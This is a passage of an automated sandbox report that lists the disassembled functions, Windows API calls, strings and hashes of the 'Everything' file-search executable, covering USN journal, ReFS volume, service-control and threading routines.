GetLastError.KERNEL32 ref: 00007FF63D550139

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

DeviceIoControl.KERNEL32 ref: 00007FF63D5501A4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D5501C3
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D5501D0
Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FF63D5502E9), ref: 00007FF63D550200
DeviceIoControl.KERNEL32 ref: 00007FF63D550234

Strings

wait for USN Journal Deletion..., xrefs: 00007FF63D55015E
DeviceIoControl(%p,FSCTL_DELETE_USN_JOURNAL,%p,%d,NULL,0,%p,0): %d: Failed to wait for USN Journal deletion., xrefs: 00007FF63D5501DB
Failed to create USN Journal %d, xrefs: 00007FF63D55013F
waited for USN Journal Deletion (%f seconds), xrefs: 00007FF63D5501B3

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$ControlDevice$PerformanceQuery$CounterFrequencySleep
String ID: DeviceIoControl(%p,FSCTL_DELETE_USN_JOURNAL,%p,%d,NULL,0,%p,0): %d: Failed to wait for USN Journal deletion.$Failed to create USN Journal %d$wait for USN Journal Deletion...$waited for USN Journal Deletion (%f seconds)
API String ID: 2552921801-2107851576
Opcode ID: 8567ebe5e8feea8604b6d469c556fa3f25bd2901da8a114082a5910b5ca2bc15
Instruction ID: b771baa778b7e2159806f3c35339e06fb1091524723112740c069103001f4d37
Opcode Fuzzy Hash: 8567ebe5e8feea8604b6d469c556fa3f25bd2901da8a114082a5910b5ca2bc15
Instruction Fuzzy Hash: C0417132E08B5682E7208FA4F4441AE73A5FB98794F504136EA9DC3B58EF3CD599E740

Function 00007FF63D552E20 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 309synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D552FAB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D552FC1
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D553003
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D553013
WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D553020
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D55302A
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D553034
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,Everything,00007FF63D5394DA), ref: 00007FF63D55303E

Part of subcall function 00007FF63D53F780: GetProcessHeap.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F789
Part of subcall function 00007FF63D53F780: RtlFreeHeap.NTDLL(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F797
Part of subcall function 00007FF63D53F780: GetLastError.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F7A6
Part of subcall function 00007FF63D53F780: GetProcessHeap.KERNEL32(?,?,?,00007FF63D5E8940,?,?,000002DE,00007FF63D5241CB), ref: 00007FF63D53F7AE

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

Strings

(, xrefs: 00007FF63D552F01
multithreaded sort: items %d, ideal threads %d, actual threads %d, xrefs: 00007FF63D552E8D
Everything, xrefs: 00007FF63D552E2E

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Heap$CloseHandleProcess$CriticalObjectSectionSingleWait$AllocEnterErrorEventFreeLastLeave
String ID: ($Everything$multithreaded sort: items %d, ideal threads %d, actual threads %d
API String ID: 10011696-1646308720
Opcode ID: bb31358666fc2a7bbc4c8c901eff43cc9e8a1435e0742cfe42a0bbb4428130cc
Instruction ID: de9fb99964ce638703c67a3ab8e0aac42adcd1a21f4286277e6abd83414a83b7
Opcode Fuzzy Hash: bb31358666fc2a7bbc4c8c901eff43cc9e8a1435e0742cfe42a0bbb4428130cc
Instruction Fuzzy Hash: 30D1E376A08B8986EB20CF56E88016E77A1FB99B94F444131DF9E83B58EF3CE554D700

Function 00007FF63D4808C0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 157COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF63D480909
LeaveCriticalSection.KERNEL32 ref: 00007FF63D48091B
EndDialog.USER32 ref: 00007FF63D480926
EnterCriticalSection.KERNEL32 ref: 00007FF63D480989
LeaveCriticalSection.KERNEL32 ref: 00007FF63D48099B
EndDialog.USER32 ref: 00007FF63D4809A9
EnterCriticalSection.KERNEL32 ref: 00007FF63D4809C5
LeaveCriticalSection.KERNEL32 ref: 00007FF63D4809D3
SetEvent.KERNEL32 ref: 00007FF63D4809DD

Strings

', xrefs: 00007FF63D480B1F
K, xrefs: 00007FF63D480B05

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Dialog$Event
String ID: '$K
API String ID: 3674036007-3534090441
Opcode ID: fa0c772f65743f105fca88ab64597249357a9794120262532bd6ebd7215050d2
Instruction ID: bb8d2a2626697fc7f556ee681bf34124579d4c7ff1d5340e9a1d3affd13fdfe4
Opcode Fuzzy Hash: fa0c772f65743f105fca88ab64597249357a9794120262532bd6ebd7215050d2
Instruction Fuzzy Hash: 0561EF72A18A5983E744DF66E40426E77A0FBC9B88F048135EE4E87B95EF3DE461D700

Function 00007FF63D555070 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 133fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

Part of subcall function 00007FF63D54B610: SetFilePointer.KERNEL32 ref: 00007FF63D54B621

ReadFile.KERNEL32 ref: 00007FF63D5550CA
GetLastError.KERNEL32 ref: 00007FF63D555196
GetLastError.KERNEL32 ref: 00007FF63D5551C7
GetLastError.KERNEL32 ref: 00007FF63D5551F8

Strings

ReFS, xrefs: 00007FF63D5550E6
serial number %I64x, sector size %u, sectors per cluster %u, version %u.%u, xrefs: 00007FF63D555136
bad refs sector size %u, xrefs: 00007FF63D555229
failed to read refs boot record %u, xrefs: 00007FF63D5551CD
bad ReFS signature: %t, xrefs: 00007FF63D555164
failed to read all refs boot record %u, xrefs: 00007FF63D55519C
failed to set file pointer to refs boot record %u, xrefs: 00007FF63D5551FE

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$FileHeap$AllocPointerProcessRead
String ID: ReFS$bad ReFS signature: %t$bad refs sector size %u$failed to read all refs boot record %u$failed to read refs boot record %u$failed to set file pointer to refs boot record %u$serial number %I64x, sector size %u, sectors per cluster %u, version %u.%u
API String ID: 3067070378-1247208581
Opcode ID: 15c97e69292fe3ee9ad46c54158568b96ddd1538e6255454807c539444a37e26
Instruction ID: 696fff1e9bf5eab9c2a2efe1ef863815209e4347bef3f5539a29f34f700b0939
Opcode Fuzzy Hash: 15c97e69292fe3ee9ad46c54158568b96ddd1538e6255454807c539444a37e26
Instruction Fuzzy Hash: AD41E726F1866A46EB01DFA6B4410BAA361BB897E4F040032EF5DC3B55EF3CE495E740

Function 00007FF63D54F550 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 97fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF63D524140: QueryPerformanceFrequency.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524149
Part of subcall function 00007FF63D524140: QueryPerformanceCounter.KERNEL32(?,?,?,?,00007FF63D47EC98), ref: 00007FF63D524158

CreateFileW.KERNEL32 ref: 00007FF63D54F5D4
DeviceIoControl.KERNEL32 ref: 00007FF63D54F63D
GetLastError.KERNEL32 ref: 00007FF63D54F647
CloseHandle.KERNEL32 ref: 00007FF63D54F669
GetLastError.KERNEL32 ref: 00007FF63D54F675

Strings

\\.\, xrefs: 00007FF63D54F601
volume %s is locked or not mounted., xrefs: 00007FF63D54F652
\\?\volume{, xrefs: 00007FF63D54F5E7
open volume %S, xrefs: 00007FF63D54F599
CreateFileW(): GetLastError(): %d: Failed to open volume %S, xrefs: 00007FF63D54F680
opened %d %f, xrefs: 00007FF63D54F699

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLastPerformanceQuery$CloseControlCounterCreateDeviceFileFrequencyHandle
String ID: CreateFileW(): GetLastError(): %d: Failed to open volume %S$\\.\$\\?\volume{$open volume %S$opened %d %f$volume %s is locked or not mounted.
API String ID: 3139158654-2134534449
Opcode ID: 85b74298029f9b679d8472c2f539c28b853c21450faefadc7dd425f34edbebc4
Instruction ID: 14070d2029eb227f356b71b08d76cc40449b625f9d07464e1e4415402e59ce9c
Opcode Fuzzy Hash: 85b74298029f9b679d8472c2f539c28b853c21450faefadc7dd425f34edbebc4
Instruction Fuzzy Hash: 4841B121A08A5A81FB509BA5E8516BA6360EF853B4F405235ED6DC7BD9FF3CD418E700

Function 00007FF63D61A120 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 79libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000000,00000000,00007FF63D61A308,?,?,00000000,00007FF63D61AE59,?,?,?,?,00007FF63D61AAFE), ref: 00007FF63D61A146
GetModuleHandleA.KERNEL32 ref: 00007FF63D61A189
GetProcAddress.KERNEL32 ref: 00007FF63D61A1D8
GetProcAddress.KERNEL32 ref: 00007FF63D61A1F0
_lock.LIBCMT ref: 00007FF63D61A238

Strings

KERNEL32.DLL, xrefs: 00007FF63D61A13F
EncodePointer, xrefs: 00007FF63D61A1CE
.mixcrt, xrefs: 00007FF63D61A1B0
DecodePointer, xrefs: 00007FF63D61A1E6

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: AddressHandleModuleProc$_lock
String ID: .mixcrt$DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 236382262-1161742486
Opcode ID: 6703e987f2d94ffd2b48cb88be74922b31ec000e975b956019ed79a42f34f7bd
Instruction ID: aaedeb1b19b06d1ff13aa6da14ab73c51abd1f0351eb80a54f5eadb90a63ed3f
Opcode Fuzzy Hash: 6703e987f2d94ffd2b48cb88be74922b31ec000e975b956019ed79a42f34f7bd
Instruction Fuzzy Hash: 85318D32E09BAA82E7408F91E848BBA73A4FB46784F404139DA5D83795FF3CD585E704

Function 00007FF63D475910 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF63D475920
OpenServiceW.ADVAPI32 ref: 00007FF63D475947
ControlService.ADVAPI32 ref: 00007FF63D475962
GetLastError.KERNEL32 ref: 00007FF63D47596C
GetLastError.KERNEL32 ref: 00007FF63D475979

Part of subcall function 00007FF63D545B60: MessageBoxW.USER32 ref: 00007FF63D545C14

CloseServiceHandle.ADVAPI32 ref: 00007FF63D4759A3
GetLastError.KERNEL32 ref: 00007FF63D4759BD
GetLastError.KERNEL32 ref: 00007FF63D4759F8

Strings

Everything Client, xrefs: 00007FF63D475932

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$Service$Open$CloseControlHandleManagerMessage
String ID: Everything Client
API String ID: 1439184590-3147354192
Opcode ID: 7074499c3c3c2a93c0b071856b6128cc789e90f145999632d9110ec4f4dddd94
Instruction ID: 027496e5dee402bbd60e0b4f198ad3e54c7c753728b49e7053d5683913157741
Opcode Fuzzy Hash: 7074499c3c3c2a93c0b071856b6128cc789e90f145999632d9110ec4f4dddd94
Instruction Fuzzy Hash: 68216D71E09E5D82F7849FA2A4152AA2361FB49B98F04403AD96E83781EF3CE058A705

Function 00007FF63D475800 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00007FF63D47580E
OpenServiceW.ADVAPI32 ref: 00007FF63D475835
StartServiceW.ADVAPI32 ref: 00007FF63D47584B
GetLastError.KERNEL32 ref: 00007FF63D475855
GetLastError.KERNEL32 ref: 00007FF63D475862

Part of subcall function 00007FF63D545B60: MessageBoxW.USER32 ref: 00007FF63D545C14

CloseServiceHandle.ADVAPI32 ref: 00007FF63D47588C
GetLastError.KERNEL32 ref: 00007FF63D4758A6
GetLastError.KERNEL32 ref: 00007FF63D4758E1

Strings

Everything Client, xrefs: 00007FF63D475820

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: ErrorLast$Service$Open$CloseHandleManagerMessageStart
String ID: Everything Client
API String ID: 646064412-3147354192
Opcode ID: 6c6067dbe52855eb9fca6916536aaba2ff217d8556ae3f66baa2daaa5229737f
Instruction ID: 8dd478b8a0801593a2bd7cb67e555a7e37db52e4909b86556409e901344b8cd8
Opcode Fuzzy Hash: 6c6067dbe52855eb9fca6916536aaba2ff217d8556ae3f66baa2daaa5229737f
Instruction Fuzzy Hash: 5C218261E08E5D82F7549FA2A8152AA6360FF49B88F040436DDADC3791EF3CE068B704

Function 00007FF63D545F20 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 76registryCOMMON

Download Yara Rule

APIs

GetClassInfoExW.USER32 ref: 00007FF63D545FA6
RegisterClassExW.USER32 ref: 00007FF63D546015
GetLastError.KERNEL32 ref: 00007FF63D546020

Part of subcall function 00007FF63D524180: RegisterEventSourceW.ADVAPI32 ref: 00007FF63D524247
Part of subcall function 00007FF63D524180: ReportEventW.ADVAPI32 ref: 00007FF63D524286
Part of subcall function 00007FF63D524180: DeregisterEventSource.ADVAPI32 ref: 00007FF63D52428F
Part of subcall function 00007FF63D524180: ExitProcess.KERNEL32 ref: 00007FF63D52430F

Strings

P, xrefs: 00007FF63D545FE7
runas, xrefs: 00007FF63D545F20
.\src\os.c, xrefs: 00007FF63D546038
failed to register class %s %d, xrefs: 00007FF63D546026
os_register_class, xrefs: 00007FF63D54602D

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D64A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243722692.00007FF63D66C000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243801950.00007FF63D670000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243924981.00007FF63D671000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243948513.00007FF63D673000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243976774.00007FF63D674000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244000249.00007FF63D67C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2244022765.00007FF63D680000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff63d470000_Everything.jbxd

Similarity

API ID: Event$ClassRegisterSource$DeregisterErrorExitInfoLastProcessReport
String ID: .\src\os.c$P$failed to register class %s %d$os_register_class$runas
API String ID: 3024293961-3532603909
Opcode ID: eb51a8deb41b2e92c2df9b581e3801a886c95c7ab5291c512aab139d69ce9454
Instruction ID: ab52638c88a20d712e2d6a4d5e46ad1d99338990fd947af7a5317c237ee55415
Opcode Fuzzy Hash: eb51a8deb41b2e92c2df9b581e3801a886c95c7ab5291c512aab139d69ce9454
Instruction Fuzzy Hash: FD318D72A18A8A96E760DB51F8507ABB364FB85744F400032EE9D83B55EF3CD144EB00

Function 00007FF63D558FF0 Relevance: 13.6, APIs: 9, Instructions: 92COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,00000000,00000000,00000006,00007FF63D559EEB,?,?,?,?,?,00007FF63D55B45D), ref: 00007FF63D559017

Part of subcall function 00007FF63D548B10: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,00007FF63D559029), ref: 00007FF63D548B16

LeaveCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D55915D

Part of subcall function 00007FF63D53F700: GetProcessHeap.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F709
Part of subcall function 00007FF63D53F700: HeapAlloc.KERNEL32(?,?,?,?,-0000FFFE,00007FF63D5ED8A7,?,?,?,00007FF63D47106C), ref: 00007FF63D53F717

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D559075
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D5590AC
SetEvent.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D5590B9
EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D5590E7
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D5590FC
WaitForMultipleObjects.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D55912E
ResetEvent.KERNEL32(?,?,?,?,?,00007FF63D55B45D,?,?,?,?,?,?,00007FF63D4808B0), ref: 00007FF63D55913B

Memory Dump Source

Source File: 00000006.00000002.2243039986.00007FF63D471000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF63D470000, based on PE: true

Associated: 00000006.00000002.2242965964.00007FF63D470000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000006.00000002.2243528124.00007FF63D620000.00000002.00000001.01000000.0000000F.sdmpDownload File
